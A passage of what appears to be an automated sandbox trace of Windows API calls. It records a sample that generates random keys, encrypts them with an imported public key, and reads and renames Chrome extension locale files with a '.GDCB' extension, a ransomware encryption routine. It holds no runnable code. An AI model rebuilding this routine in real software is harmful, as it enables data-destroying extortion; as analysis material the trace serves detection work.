(hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.630] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0275.632] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c8a0) returned 1 [0275.633] CryptGetKeyParam (in: hKey=0x678c8a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.633] CryptEncrypt (in: hKey=0x678c8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.633] GetLastError () returned 0x0 [0275.633] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.633] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.635] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c1e0) returned 1 [0275.635] CryptGetKeyParam (in: hKey=0x678c1e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.635] CryptEncrypt (in: hKey=0x678c1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.635] GetLastError () returned 0x0 [0275.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.635] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.636] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.639] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.642] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xea, lpOverlapped=0x0) returned 1 [0275.651] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.657] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0275.664] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.670] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.670] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.670] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0275.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.675] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.675] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.675] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.676] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.680] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c320) returned 1 [0275.680] CryptGetKeyParam (in: hKey=0x678c320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.680] CryptEncrypt (in: hKey=0x678c320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.680] GetLastError () returned 0x0 [0275.680] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.681] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.684] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c7a0) returned 1 [0275.684] CryptGetKeyParam (in: hKey=0x678c7a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.684] CryptEncrypt (in: hKey=0x678c7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.684] GetLastError () returned 0x0 [0275.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.684] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.685] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.688] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.691] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x10c, lpOverlapped=0x0) returned 1 [0275.699] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.707] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0275.713] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.719] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.719] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.719] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.725] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.725] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.726] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.728] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c4e0) returned 1 [0275.728] CryptGetKeyParam (in: hKey=0x678c4e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.728] CryptEncrypt (in: hKey=0x678c4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.728] GetLastError () returned 0x0 [0275.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.728] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.730] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c4a0) returned 1 [0275.730] CryptGetKeyParam (in: hKey=0x678c4a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.730] CryptEncrypt (in: hKey=0x678c4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.730] GetLastError () returned 0x0 [0275.730] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.731] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.735] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.738] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x121, lpOverlapped=0x0) returned 1 [0275.746] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.753] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0275.759] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.764] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.764] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.764] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.770] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.770] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.771] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0275.773] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c6a0) returned 1 [0275.773] CryptGetKeyParam (in: hKey=0x678c6a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.773] CryptEncrypt (in: hKey=0x678c6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.773] GetLastError () returned 0x0 [0275.773] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.773] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.775] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c460) returned 1 [0275.775] CryptGetKeyParam (in: hKey=0x678c460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.775] CryptEncrypt (in: hKey=0x678c460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.775] GetLastError () returned 0x0 [0275.775] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.775] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.777] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.780] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.782] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xe6, lpOverlapped=0x0) returned 1 [0275.791] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.797] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0275.803] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.809] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.809] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.809] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.814] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.814] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.814] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.817] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c360) returned 1 [0275.817] CryptGetKeyParam (in: hKey=0x678c360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.817] CryptEncrypt (in: hKey=0x678c360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.817] GetLastError () returned 0x0 [0275.817] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.817] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.819] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c5a0) returned 1 [0275.819] CryptGetKeyParam (in: hKey=0x678c5a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.819] CryptEncrypt (in: hKey=0x678c5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.819] GetLastError () returned 0x0 [0275.819] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.819] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.821] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.824] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.826] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xe2, lpOverlapped=0x0) returned 1 [0275.835] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.842] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0275.847] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.852] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.852] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.852] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.852] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.857] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: 